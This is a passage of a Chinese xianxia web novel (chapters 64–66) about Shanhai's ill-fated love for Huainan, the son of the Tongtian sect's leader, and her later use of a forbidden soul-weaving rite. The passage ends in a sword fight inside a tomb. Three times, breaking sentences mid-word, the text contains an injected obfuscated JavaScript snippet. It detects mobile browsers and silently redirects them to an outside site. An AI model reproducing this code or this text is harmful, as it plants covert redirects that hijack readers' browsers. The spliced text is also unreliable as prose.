言笑歪头想想,“好像有点道理?” 乔步天冷哼道:“才不是。修行这事,要么有进益,要么没有,万万没有明明进益却被说这进益出错的道理。虽说邪魔歪道的修行法门确实存在,但那些可比正统修行路子还要难得。绝大多数普通人都没有修炼的根骨,学些吐纳功夫,强身健体,总归是有好处的。” 言笑不禁疑惑,“那为什么会有这样的说法传出来?” 花方笑道:“你猜。” “医馆怕没有生意?”言笑漫天瞎想,“不应该啊,不都说医者仁心吗?” 许久没出声的李开心突然开口,“垄断。” 花方打了个响指。 就是垄断。 只要谣言深入人心,知识与获取知识的渠道便永远只能掌握在少数人手里,诸门各派沆瀣一气,以绵延数十年的谣言搞出一场盛大的知识垄断。无论收纳门徒还是降妖伏魔,说到底都是生意,知识壁垒一旦建造,壁垒之外的人便再难突破,时间久了,连仙门弟子都不清楚这些不过谎言。 听信师门言论,服从绝对权威,人云亦云向来简单,独立思考才难。 “传言通天神教起源于一伙山中恶匪。其中数人颇有仙缘,修行数年之后离开师门,与巫族后人共同立教——上古巫族与上古神族敌对,恶行累累,臭名昭著,但成千上万年过去,真要我说,连巫族究竟存不存在都不一定,也没准儿这就是通天神教往自己脸上贴金。 “通天神教看不惯所谓‘名门正派’欺世盗名,故意倒行逆施,印了许多教习百姓自行修炼的册页,四处分发。每当‘名门’弟子看见,总会想尽办法将这些册页收回来,倒也不是坏心,就是不想百姓练坏身体。” “二师兄,你别叫了。”山海怀里抱着数册刚收回来的《修行秘笈》,向街对面探探下巴,“那边,你要是再不过去,百姓可就把‘秘笈’都拿回家了。” 柴令仪打架不成,可也分得清轻重,只好气愤地一跺脚,骂骂咧咧去收秘笈。 整条街上大约有七八名凌霜门弟子,可通天神教撒册页都是从高处天女散花,百姓纷纷抢夺,收回来当然比撒出去艰难许多。言笑懒得关心NPC,只着重瞧着山海。彼时山海看起来约莫十四五岁,俊俏又鲜嫩的小模样。要真说她相貌多出挑倒也没有,但眉宇间天然一股英气,眼眸流转间灵动逼人。 柴令仪性子急,三句话达不到目的就气得火烧眉毛,可跟百姓收册页又着实是个苦差事,翻来覆去都说不通,柴令仪嘴皮子磨了半天,险些气得连头发都烧着。好不容易收来几本,这条街也已走到尽头,柴令仪看山海正从街对面朝他走来,正欲抱怨两句,酒家二楼突然掷出一枚铜板,将柴令仪捧在怀里的册页尽皆打翻。 那铜板掷出的速度极快,柴令仪听见声响,却来不及全然躲避,堪堪没被砸中身体而已。 “谁在上面!”柴令仪怒不可遏,当即足尖点地,轻盈一跃,飞身上楼。一道黑影在窗旁闪过,还没等山海出声将柴令仪唤回,突然一位黑衣少年自酒家冲了出来。看那少年衣着,并不是通天神教的人,头发扎得歪歪斜斜,一笑带着点邪气的锋芒。 少年边跑边回头张望,正和山海撞个满怀。《修行秘笈》噼里啪啦撒了一地,少年匆匆蹲下,要帮山海捡拾,可眨眼工夫楼梯已经传来咣咣的脚步声响,以及柴令仪响亮的叫骂。 少年只好乱七八糟把手中那几本“秘笈”塞进山海怀里,抓起地上掉落的铜板,跑出两步又突然回身,一边倒退,一边将食指比在嘴唇上。 嘘。 惊鸿一瞥,相遇即错。 起心动念,皆是因果。 柴令仪惊天动地追出酒楼,气急败坏,叉腰叫嚷,“人呢?刚才是不是有人出来?” 山海摇头,蹲在地上继续捡东西。苏恪正和一位白发老者交谈,闻声过来,“令仪,不得大声喧哗。” 任凭柴令仪怒发冲冠,也只得强逼自己熄火,将一肚子脏话咽回去。 言笑本以为山海与这少年还得有些后续,男主女主年少相识,总得暗戳戳地眉来眼去一番,这戏才算看得爽快。可哪知并没有。凌霜门规矩极严,山海的生活无聊到令人发指,每天寅时就要起床上早课,忙碌到亥时放能歇下。 言笑这一旁观者都看得脑仁疼,唉声叹气,“二哥,你在凌霜门过的就是这样的日子吗?啧啧啧,太惨了。” “并没有。”花方悠然回答,“我只有一脚踏进凌霜门,蹭得他们一点真传,另一脚归我师父管,作息算在另一脚里。” 每隔四年,凌霜门会举办一场教习,邀请各个门派弟子切磋剑法,讲经论道。这年凌霜门向通天神教派了请柬,不日得到回信,通天神教诸位弟子将会如期赴约,多谢贵派相邀。 掌门手里捏着回信,愣住了。 之所以送出请柬,就是因为没想过对方会应邀——可对方怎么不按套路出牌? 凌霜门毕竟是名门大派,凡事讲究格局,既然说广邀仙友,以剑论道,通天神教门徒众多,不邀请他们说不过去。掌门只好抚着胸口安慰自己:通天神教虽说名声不太好听,可这名声也不算十分难听,至多我行我素,烧杀抢掠…… 好吧,确实难听。 烧杀抢掠是事实,但听说人家的由头是“劫富济贫”,做出的事也从没让人切实抓住把柄,百姓倒是山呼万岁。 那场教习,神算先生也在。打秋风打惯了,总不能在需要他撑场面的时候假装查无此人。晚间宴饮,酒过三巡,掌门端着酒杯悄悄凑了过来,请神算先生卜卦——就算这些年诸派与通天神教针锋相对,究竟会是怎么一个结果。 神算先生连铜钱都没从怀里摸出来,略一掐算,喜笑颜开回了些片儿汤的话,说凌霜门前途一片灿烂光辉,至于与通天神教的纷争,仙门百家会在日后得到安宁。 花方哼笑,“听他瞎扯。” 乔步天没看明白神算先生这态度,“他算得不对,还是他根本没算?” “张口就问仙门百家。这种大卦会折命数、损气运,我师父才不傻。” 神算先生一通虚与委蛇,放下酒杯,离席出去透气。古树高枝中间转了两圈,身后有脚步近前,神算先生含笑转身,问山海道:“姑娘怎么来了?” 山海行了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223192|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼,“知道先生不喜欢这种场合,我来送先生出去。” 这时的山海大约二十出头,稚嫩褪去,已显出些端丽稳重的气质,但心性却尚未长成,不但揣度他人心意,还把话说了出来。 神算先生与山海有过几次在墙根底下蹲着闲唠嗑的交情,一直觉得这小姑娘挺有意思:透精透灵的长相,心思却极单纯,不过是历练太少,赤子之心总归难能可贵。 神算先生配合地挑挑眉毛,挤挤眼睛,就跟要和山海商量杀人越货似的,“怎么出去?” 山海神秘地招招手,往后退了两步。神算先生眼睛滴溜转了一圈,悄默默跟过去。山海带神算先生来到一处无人值守的偏门,手中结印,破了结界,向神算先生做了个“请”的手势。 为什么无人值守。因为今晚山海值守。 神算先生笑眯眯道了谢,刚要离开,又转回身来,从怀里摸出一把铜钱,左右撸起袖子,“来来来,姑娘,我来给你算上一算,就当感谢你今晚为我监守自盗。” 神算先生其实年纪不大,只比山海长了几岁而已,两人凑在一起既不用敬词也不用谦词,万一被人瞧见准得让人说成没大没小。 山海摇摇头,认真道:“不必。我知道是师父强留先生,先生才勉强参加教习。世间诸事,无谓强求,等先生什么时候真想来凌霜门玩儿,再回来蹭饭不迟。” 神算先生哈哈大笑,“你个小妮子!行了知道了,我给你算算。别说不用算啊,别人可是跪在地上磕头都求不来的。” 说罢蹲在地上,撒下一把铜钱。 “这对我师父而言,算是大卦了。”花方感慨道。 言笑听得迷糊,“算世间局势是大卦,这我可以理解。给人算命也是大卦吗?” 花方解释,“寻常算命,掐算即可;若我师父想认真些,就抛两枚铜钱,接在掌心随便看看。像他现在这样,一把七枚铜钱,怕是他一辈子都没这么认真给人算过命。” 神算先生蹲在地上看了片刻,将铜钱拾起,又撒一遍,然后告诉山海三件事情,“两年后的夏日,不要去望断山的竹林,这是其一;三年后的戌月,不要参战,这是其二。” “参战?参什么战?” “你师父最怕的那一战。” 此话隐晦,却足以让山海听懂。通天神教蠢蠢欲动,早看这些所谓的名门正派不顺眼,一旦挑起事端,战争在所难免。 山海面色一凝,“真的会……爆发战争吗?” 神算先生笑而不答。 山海知道天机不可追问,于是换了个问题,“为什么都是让我不要做什么?而不是指点我应该做些什么?” “到了特定的时候,你会明白。” “那如果我做了这些事情,我会遇到什么?” “你的劫数。” “一共算三件事,第三件呢?” 神算先生收了铜钱。“五年后你来找我,你心中所愿会在六十年后有转机。这就是第三件事。” 山海听得云里雾里,稀里糊涂将神算先生送出结界。神算先生出了偏门,边溜达边嘀咕,“还想继续蹭酒呢,怎么就被赶出来了?” 变数发生在神算先生离席之后。 通天神教大弟子在宴席上与柴令仪起了冲突,苏恪不在场,掌门与其他长辈也都已经回房歇息,席间再无人制得住这个炮仗。柴令仪下斥通天神教教众,上责通天神教教主,说他们无恶不作怙恶不悛。哪来什么锄强扶弱除暴安良,不过借个好听由头,肆意妄为罢了。这还不算完,最罪不容诛的是,他们竟然四处分发什么秘笈教习百姓,鼓动平民贸然修行。 通天神教大弟子愤然离席。 三月过后,柴令仪下山除灭邪祟,离奇身死。凌霜门查不出是非因果,将柴令仪之死算在了通天神教头上,彻底与通天神教撕破脸皮。 山海曾设想过无数种通天神教挑起争端的方式,却从没想过会有一天,战火竟始于凌霜门。 64. 竹林传说06 忽而两年过去。 通天神教与诸派之间时有战事发生,大大小小,混乱不堪,一笔笔算来算去全是烂账。难得太平时分,山海离开凌霜门,下山为百姓驱邪除祟,镇妖伏魔。 这日山海听说山中妖邪作乱,包袱里背着些干粮和水就独自进了密林。走了一天一夜,眼看快到破晓时分,突然在熹微日光里看见一块嶙峋怪石。树林至此而止,再往前走是一片清幽竹林,怪石上的字迹模糊不堪,但仍可勉强辨认:望断。 山海进入的密林距离望断山有两个山头,哪想走了那么许久,竟走到这里来了。神算先生的告诫仍犹在耳,山海犹豫片刻,转身折返。既然明知山有虎,那就没必要给自己找不痛快,百姓们没说这妖兽会跑到望断山,她也不曾想往望断山来,不过是她不熟悉地形,走错路罢了。 山海按来时标记一路返回,又走出大约一炷香工夫,日头高照,林中却突然起了雾。大雾蒙蒙,如堕烟海,初时还能勉强前行,后来却连树影也不得见。那雾气大约有什么古怪,山海渐渐脚步虚浮,呼吸困难,即使撕了衣袍遮住口鼻,也不见有甚起色。 忽而林中响彻猛兽嘶吼,穿云裂石,一时有如地崩山摧,虫鸟皆惊。山海勉强撑着气力拔剑,几乎是凭本能提剑挡格,利爪刮擦剑刃,拍击之力重若千钧。眼前白雾中隐约闪过黑黄相间的条纹,竟然是只猛虎! 一声哨音自远处清亮响起,婉转悠扬,那虎听见哨音,伏在地上磨着爪子,不住发出呼噜呼噜的闷响,没再继续进攻。 远处又是一声哨音,随即一个男人喝道:“过来!不得伤人!” 兽瞳在白雾中泛着令人胆寒的碧色,那虎低低吼叫两声,向后退去,隐入林中不见踪影。 山海早已头昏眼花、精疲力竭,刚才拔剑不过死撑而已。不省人事的前一瞬间,山海在天地一色中恍然再次瞥见那块怪石,一步迈出,栽倒在竹林里。 雨声密而强劲。 这是山海醒转之后唯一听到的声音。 眼前一片昏暗,像是竹帘遮了窗,大雨带来湿漉漉的潮气,世间仿佛唯余这一浸了水雾的响动而已。 山海浑身酸痛,提不起劲儿,手指扣着床榻,指尖却无意间撞上什么冰凉的东西。金属。霜纹蜿蜒。是她的佩剑。 悬着的心立刻放下几分。山海将剑握在手里,正继续闭目养神,不远处却蓦地传来开门声响。瓷勺撞击瓷碗,药味浓郁,搅出一室清苦,一道男声随即传来,“既然醒了,就先把药喝了,喝完再睡。” 那声音沉而动听,如同音色极好的乐器,肆意震颤便动人心弦。 尽管早已料想到今日这幕,言笑还是不禁在心中感叹:劫终归是劫。 不止言笑,山海当然也认出了他。当年在酒家二楼向柴令仪砸铜板的少年,如今已是风华正茂、英姿勃发的青年模样。男子站在榻边,将碗里的药吹了吹,然后递给山海,“喝了吧。” 见山海不动,只怔怔看他,男子便笑了,倾斜着一侧嘴角,俯身把碗放在榻边矮几上,腕上露出既深且重的一道伤疤,“这是解瘴气之毒的。你要是不喝,过两天就要手脚麻痹,以后再也起不来床了。” 连日大雨,解毒的草药又只在竹林之中才有,山海只好在此住了下来。两人的对话始终伴着雨声,有时檐下拖来两把竹椅,淮南泡一壶茶,两人能对坐到深夜。 我从小住在这里,一个人。 在山那边确实有个什么门派,其实也不近,隔着数百公里呢,所以平时也遇不到人。 那虎幼时我救过它。当时在竹林深处,附近找不到水,我割腕放血喂给它喝,所以它才听我的话。 生活并不会无聊……好吧,有时也有点无聊。我每月都会进城采买一些东西,去看看又有了什么新鲜小玩意儿。 能做的事情很多。比如现在喝的这茶,是我种的,是我摘的,是我炒的。廊下还埋着几坛酒,也都是我酿的。 可以给你闻闻,但你余毒未解,还不能喝。我喝你看着吧,哈哈。 你是仙门的人?你有佩剑。 我不太了解你们修道之人的事,但有些事也有所耳闻。哪怕说破天去,也不该只将修行的权利攥在自己手里。 你自小成长于此,相信的东西自然很难改变……原来你也觉得这不合理?这倒是我没想到的。 这瘴气之毒,大约半月可解。半个月后雨也差不多该停了,到那时我送你离开。 言笑在雨声中打了个喷嚏。花方看着眼前一幕幕胶片似的闪过,神色复杂,不禁慨叹,“山海竟还真有这么一段过往。” 拿着被剧透过的剧本,言笑当然知道淮南的真实身份。听雨,折竹;酒冽,茶香。 当时只道是寻常。 也不难想,山海作为如今的凌霜门掌门,无数有关她的细枝末节想必都为人所津津乐道,这段过往却从未被提及。乔步天垂眼看着那壶热茶,“每个人都有秘密。” 花方扬起眉稍,像是被他这话挑起极大兴致,“真的?” “……” “你的秘密是什么?” “别问。” 花方又凑近些,逗他似的,“那你想不想知道我的秘——” “算了吧。”乔步天抢先一步截断花方的话,生硬道:“最好别告诉我。我不擅长保守秘密。” 花方没好气地哼了一声,重新端正站好,继续看戏。 一晃半月,大雨终于止息,淮南给山海包了一包茶叶,让她带回去喝。临行前日午后,山海在竹林里散步,突然听见幼兽哼叫,竹叶簌簌抖动,尚未干透的雨滴掉落,又似一阵落雨。 那是一只虎崽。 虎崽并不怕人,敦实的小爪子一个劲儿在竹根乱刨。山海看着新鲜,叫来淮南,“老虎经常会跑到这里来吗?” 淮南摇头,“一般不会。它们住的地方很远。” 山海俯身,在虎崽的小脑袋上摸摸。小东西挺温顺,毛发却很扎手。“那……咱们把它送回去?” “我不知道它住哪儿。母虎可能会跟过来,要么它自己或许也能回去。” 虎崽像是听懂了话,呼噜两声,翘起尾巴尖儿,扭头嗒嗒跑了。山海怕它不认得路,跑丢,晚上找不到吃的再要挨饿,勾勾手悄声招呼淮南跟上去。 两人跟随虎崽在竹林中穿梭,靴子踏出一路泥泞。 言笑拿胳膊肘撞撞李开心,“哎,你们说,淮南到底认出山海没有?” 言笑问这话的本意是寻找共鸣,因为言笑相信淮南是认出来了的,连续剧里一般都这么编,才显得宿命缱绻。哪知三个男人竟然统一战线,纷纷表示淮南压根没认出来。 花方,“只有男人才懂男人。” 乔步天,“认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229173|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来不会是这种表现。” 李开心,“根据他们重逢时淮南的瞳孔反应推断,他应该没认出来。” 言笑忿忿斜了这三人一眼。果然无论什么八卦到了男人嘴里,都会变得索然无味。 山海与淮南跟随虎崽走出数里。虎崽左挠挠右逛逛,一点也不着急回家,正抓着藤蔓玩儿,突然身子一翻,消失不见。 噗噜噜一阵滚落声音,随后藤蔓深处传来虎崽的嘤嘤哀嚎。 这小崽子掉入了一个被掩盖极好的石窟。 山海与淮南好奇心大起,拨开藤蔓,沿着那条陡峭石路滑入石窟之中。虎崽正趴在地上哀叫,山海将虎崽抱了起来,吹吹爪子,摸脑袋摸肚皮地哄了一阵。淮南走出石室,环顾一周,只见纷乱石道通向远方,天光隐于阴暗幽微之处。“这石窟大概绵延很远,数百里也说不定。” “你怎么知道?” “这里总不可能只有一个入口,更不可能所有入口都如此隐蔽。方圆百里之内如果还有其他入口,我一定早就发现了。”淮南说着,随意将手掌搭上石壁。 未想面前石壁突然隆隆作响,寸寸下陷,一时地动山摇,灰尘纷飞。等尘埃落定,石壁已然降入地底,眼前是一间更大的石室,石室中央两幅棺椁,满室壁画,半青半白。 两人震惊之余对视一眼,山海俯身放下虎崽。白色半边壁画隐隐闪着微光,所画皆为祈福、参拜之景。参拜众人面目模糊,唯有高处遍身金光的神祇描摹清晰,宝相庄严,慈眉善目。青色半边壁画中记载着许多古怪符号,众人围着火堆起舞,烹羊宰牛,像是祭祀场景。 “神族在千万年前便已陨落,”山海喃喃,对着壁画伸出手指,却始终没将指尖落上去。“如果这半边壁画代表神族,那么另外半边……” 淮南淡道:“巫族。” 山海回头看他,“巫族真的存在吗?虽然古书记载,神族与巫族屡起纷争,但许多史料散佚,细枝末节也经不起推敲。我一直以为巫族只是传说,甚至……甚至连神族都是仙门杜撰出来,用以巩固自身地位的。” “望断山距离你们那些门派都很远,离得稍微近些的只有通天神教。如果这幅壁画是假的、是近年才凿刻出来的,有谁会有如此动机,在这么隐秘的地方凿刻壁画?” “可如果这壁画是真的、这壁画确实源自上古,是谁记载了这一切,这个石窟又是什么地方?” 淮南向壁画角落一指,“你看那儿。” 山海循着淮南的指向看去。“神族”一边的壁画当中,青天之上遥遥刻画众多神祇,然而“巫族”这边,人们所信奉者一脉单传。壁画角落之处,最后一位神巫身着黑衣,宽袍大袖,骑身于一只猛虎。 淮南指的正是那虎,山海注意到的却是神巫手中的剑。“这剑……” “剑怎么了?” 山海仔细凝视剑柄花纹,“这是通天神教教主的佩剑。难道巫族真的存在……难道通天神教当中,真的有神巫后人?” 次日清晨,二人分别。又过数月,仙门各派围剿通天神教,混战之中山海重伤,就在即将被一剑穿心之时,突然“当”的一声,另一把剑势如破竹,凶狠荡开对方佩剑,山海在昏厥前模糊看见淮南的脸。 墨色衣袍下摆绣满繁复的巫族符号,腰间佩着通天神教的通行令牌。 他是通天神教的人。 65. 竹林传说07 等山海再醒来,已经过去大半个月。 苏恪过来看她,告诉她说,在那一役之后同门遍寻她而不得,都以为她出了什么意外,没想到半个月前她竟突然出现在山门之外,也不知是谁将她送来的。 那……那一战结果如何? 双方损伤惨重,只好偃旗息鼓。这两天传出消息,说通天神教教主病重,也不知道是不是他们故意放出假消息,用来迷惑我们。对了,他们教主有个儿子,那天第一次露面。大概他也知道自己仇家太多,在那之前竟然从未让自己的儿子见过外人。 他们少教主多大年纪……叫什么名字? 看着和你差不多大,但都是修行之人,谁知道呢。听说名字叫——淮南。 在之后的诸多战事中,淮南势不可挡,所向披靡,仙门各派节节败退,溃不成军。山海受过一次重伤,掌门再未让她上过前线,山海本想就此装着糊涂得过且过,哪想后来却出了一件大事。 苏恪战败,死于淮南之手。 山海自小由苏恪带大,两人情感深厚非常。山海策马数日,赶往望断山竹林,果然竹林深处人去屋空,屋后只留下了一排将要开花的茶树。 山海发疯似的挥剑将茶树尽数砍倒,又挖出廊下藏酒,摔碎酒坛,空气中霎时蒸腾出浓郁酒香。 “你在干什么?”身后响起一道男声,凭空出现一般,山海甚至没有听到他的脚步。 雪白剑刃映出凛冽寒光,下一秒就架在了淮南颈上。山海声音嘶哑,恨不能就此一剑抹了淮南的脖子。“你杀我师兄。” 淮南皱了皱眉,眼神疏离,却也没躲,显然没将山海视作威胁,“你师兄是哪个?”停顿片刻,再问,“你又是谁?” 山海惊怔,一时无话。 淮南显然并没有真的期待对方回答,以指节轻飘飘顶开颈上剑刃,漠然道:“今天我不杀你。战场之外,我不杀女人。想要报仇,就在战场上杀我。”朝地上的酒坛碎片瞥了一眼,“至于这几坛酒,以后拿你的命来赔吧。” 再往后的旧事破碎凌乱,以至于言笑没有完全看懂。戌月,各派围剿通天神教,山海顶替苏恪参战。言笑知道山海算是同辈中造诣极高之人,也知道山海在那次重伤养好之后其实灵力更胜从前,但言笑没想到山海赢得如此轻易,轻易到有些荒唐。 这就是言笑没看懂的地方。 淮南手执出现在壁画中的长剑,一剑刺出,重若九鼎,若是换做旁人与他正面对剑,怕是手中佩剑会被他寸寸折断。但当山海持剑挡格,那剑却在爆发的灵流中猛然被弹了回去。 淮南不认识山海,淮南使的剑却认识。 两人转瞬过招百余回合。淮南受剑所限,难以发挥,山海却越战越凶,招招直冲淮南要害。淮南愈发暴躁,拼尽灵力重重刺出一剑,两剑相斫,爆出火花,山海剑尖一挑,淮南的剑瞬间脱手。 山海以剑御剑,对方的剑在剑尖转了一圈,而后两剑重叠,双剑同向淮南而去。淮南赤手空拳,躲闪不及,颈上被划出一道长长血痕,登时脸色剧变。 山海重击剑柄,将淮南那剑掷了出去。那招虽然迅疾精妙,可以言笑观战许久看出的门道推断,淮南应该不至于躲不过去。 可是淮南没躲。 一剑穿心。 天地失色,周围的鼓噪与喧嚣亦瞬间失声。两把剑,两双眼,一双惊愕,一双涣散。 通天神教大败,战局草草收场。教主重病,少教主身死,通天神教失去中流砥柱,日暮途穷。 山海一朝扬名。凌霜门掌门传位于她,因为她的存在即是表率,是邪不压正的有力证明,资历与实力已经不再重要。 神算先生销声匿迹许久。当年说着“仙门百家会在日后得到安宁”,如今确实安宁了,却也付出了惨痛代价,实在没脸再去凌霜门打秋风。山海秘密派人寻他,终于大海捞针似的翻出一丝踪迹,又或者说,可能也是神算先生愿意让山海找到,倘若他铁了心隐匿行踪,没有任何人找得到他。 山海在宅院之外跪了一天一夜。 破晓时分,门扉终于开启,小厮邀请山海进去,说先生请她喝茶。 银杏叶落,遍地金黄,庭院内满是茶香。神算先生悠然煮茶,摇着一把折扇,没抬眼,也无需问话。 “我让你避开的两件事,你都做了。” 竹林进了,战场上了。神算先生的两次预见,一次遇他,一次杀他。 她的名声是以杀死爱人为代价。 山海低垂眼睫,“我知道您早已算出这一切。我来找您只是想知道……他为什么不认识我?” 神算先生收了折扇,换个方向倚着软垫,“你最好永远不要知道。” 山海不知道,但作为看客的言笑知道。他们四人看的这出戏,视角来回切换,不仅能看到山海视角,也能看到淮南视角。彼时山海伤重,命悬一线——命悬一线都算客气说法,言笑觉得她那纯粹是已经死了但还没凉——巫族有道秘术可以起死回生,但这秘术鲜有人知晓。淮南求他父亲救山海一命,杀伐果断的神教教主自然不允。 于是淮南偷了秘术残卷与他父亲的佩剑,悄悄救了山海。 “我说不准这佩剑到底怎么回事,但可以猜一猜。”花方看出言笑疑惑,着意为她讲解,“起死回生这种逆天术法,必然要付出代价不说,施展起来也极其困难。如果这时可以借由灵器施展——比如通天神教这把佩剑——成功率或许会高一些。又或者,也可能巫族传下来的术法,只能借由巫族的灵器施展,这就是淮南必须偷剑的原因。” 言笑依然困惑,“那淮南怎么还给自己搞失忆了?” 这个问题乔步天就能解答,“救人损心神。这是他付出的代价。” “那这不是死局吗?”言笑愁得直挠头皮,“只要山海活着,淮南就不记得他,他俩注定BE啊!除非山海死了,淮南是不是还有一线可能恢复记忆?” “不一定是山海死。”花方的语调淡而冷静,“淮南死也一样。如果我没猜错,淮南死的时候就已经恢复记忆了。” 一经花方提醒,噼里啪啦无数设想在言笑脑海炸开,言笑霍然睁大眼睛,此前没看明白的剧情终于被一根线串了起来——淮南的记忆从未消失,只是贮存在了那把佩剑里。所以当淮南被剑划破颈项,掩埋许久的记忆顿时蠢蠢欲动。 因此淮南才任凭那剑刺穿心脏。 这是他找回记忆的唯一方法。 “淮南偷剑施展禁术,那剑便认他为主;前任教主失去佩剑支持心力,因此病重。这就是前任教主将儿子放在外面养的原因:一旦佩剑重新认主,他这条命就算走到头了。”花方指间玩弄着数颗金骰子,扼腕叹息,“与佩剑绑定如此之深、靠佩剑支撑自身灵力的,只有传说中的巫族。本以为通天神教是凭空硬沾巫族传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229174|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的光,哪想其中还真有巫族后人。” 银杏树下,神算先生从容倒茶,“多的也不必说。两年之后,你把我命定的徒弟带给我,他就是你的转机。” 山海迫切追问,“什么转机?” 神算先生拿起茶杯,呷了口茶,又做个手势,请山海也喝,“你会见到他最后一面,但你们终将擦身而过。” 自那之后,山海每年都会到石窟中修习几天。寒来暑往,倏忽数十年过去,言笑既纳闷又嫉妒,盯着山海的脸猛瞧,“为什么修仙不会老呢?这科学吗?” 乔步天哼笑,“你看你二哥,不就修成老妖怪了?” 一年夏日,山海修习时带来了一条生猪腿。竹林深处,石窟洞口,山海拔剑唰唰几下,从猪腿片下数块肉来,再自洞口处一路摆放,像在引诱什么。 竹林里的NPC就那么几个,言笑很快明白过来,她在引虎。 果然入夜时分,林间传来野兽低吼。猛虎衔肉而食,直至堕入藤蔓遮蔽的洞口。山海举剑弑虎,将虎尸摆在石道下方,又自包袱里摸出一卷残破竹简,对着火符逐字阅读。 言笑看到这里又开始迷惑了。山海的人设崩塌得着实厉害:虽说这位凌霜门掌门自小到大都有些叛逆心思,只是这心思隐藏得好,才极少被人发觉。可如今山海身居高位,竟然堂而皇之取走《织魂秘笈》残简——你凌霜门天天把别人打成邪魔歪道,转头掌门自个儿闷声钻研禁术? 花方言简意赅,“不值得。” 李开心面上无甚波澜,如同真在看戏,“他们相伴的时间并不长,何必有如此执念。” 乔步天冷哼,“这不是时间长短的问题。对方从来对她没有表示也没有回应,她这不就是自我感动么?” 言笑多瞧那残简几眼,竟无意瞧出了些端倪:书名四字下方标注着两个小字。第二个字言笑完全不认得,但第一个字通过字形半蒙半猜,仿佛是个“补”字。 言笑招呼花方过来,“二哥,你来认认。你看这个和你从前看的那个,是同一卷竹简吗?” 三人原本站得远些,听见言笑这话便都过来了。花方站在山海身后,快速浏览竹简上模糊不清的复杂字迹,“不是。这是《织魂秘笈》补卷,用来补充说明的。” “所以‘正卷’她已经看完了?”言笑探头再瞧,可这里的字与现实世界差别太大,言笑此时与文盲无异,基本看不出囫囵意思。“那她拿着补卷来杀老虎干什么?” 花方没答,面色愈发凝重。当竹简完全展开,花方倏然抬头四顾,“我们要怎么从这里出去?” “……啊?” 言笑看戏看得投入,又感知不到危险,确实没想过这个问题。 花方突然急了,反手重重拨动琴弦,一时魔音贯耳,强劲灵流击得众人头昏眼花。 “到底怎么才能出去!” 也不知道是因脱身之念太过强烈,还是花方的琴音扰乱了这里的能量场,梦境顿时破了,虎尸刹那化作虎骨,眼前手执残简的山海消失,四人再次出现在两具棺椁旁。 巫族佩剑落地,四周石壁之上竟密密麻麻浮现出更多壁画,忽地一道雪亮剑光闪过,言笑在惊惧之中再次见到山海的脸! 真正的山海! 那剑直冲乔步天而去,原本尚有丈余距离,不过转瞬,剑尖已鬼魅般近前。剑光将乔步天笼罩其中,捣碎他的喉咙不过眨眼。 66. 竹林传说08 言笑能看清山海的动作,却没有山海那样的速度与之抗衡。然而花方反应奇快,果断抽出乔步天手中佩剑,当即挡在乔步天身前,两剑砰然击出刺耳声响。 对于花方的剑道修为,言笑心里很是没底:他这六十年过得太全面发展了。算卦学着,古琴练着,还得想办法复活乔步天,实在难说余给剑道多少精力。山海的生活显然简单许多,练剑占据绝大多数时间,管理门派以及偷施禁术都算业余爱好。如此说来花方实在很难打过山海,毕竟面面俱到往往导致平庸。 花方攻势凶悍,数招之内逼得山海步步倒退,两边很快隔出一段距离。 打斗来得猝不及防,言笑看得发懵,问乔步天,“什么情况?他俩怎么打起来了?那个补卷上到底写的什么?” 乔步天抿抿嘴唇,欲言又止,目不转睛关注战局,没有回答言笑。 李开心替他回答,“织魂之术需要灵物为引,虎骨就是灵物。灵物极其难得,且每个灵物只能承载一个魂魄,所以如果山海想以虎骨召回淮南,她需要先杀死乔步天。” 言笑猛然回头,“你能看懂这儿的字?” “无法完全理解,但是依靠现有数据库推断分析,可以认出90%。” 山海与花方明显都动了杀意,招招皆是杀招。数百回合眨眼而过,花方渐渐显出劣势,山海敏锐寻出对方破绽,一剑刺向花方肩头。 花方堪堪躲避,所幸没被刺个对穿,可一身红衣,也看不出伤有多重。言笑立时怒不可遏,拔枪上膛,一套操作行云流水,对着山海抬手就是一枪。 随便她怎么折腾怎么作死,言笑都不在意这个跳梁小丑似的泡泡小人,但她既然敢伤花方,言笑就必须把她脑袋打爆。 子弹速度大约在300米至400米每秒,根据两人之间的距离,留给山海的反应时间在言笑看来,与对方只能坐以待毙也差不太多,然而大概修仙的人有挂,山海提手挥剑,子弹砰的一声竟被挡格回来—— 这一切都发生在言笑来不及反应的时候。 然而就在言笑开枪瞬间,她被两人同时扑倒:一个李开心,一个乔步天。李开心从山海的手臂运动趋向就能推断出,对方心有提防;乔步天纯粹是经验,知道子弹可能对修为高深的修士不起作用。 子弹疾速弹回,在枪声中嵌入石壁,弹壳落地,言笑闻到一股硝烟。 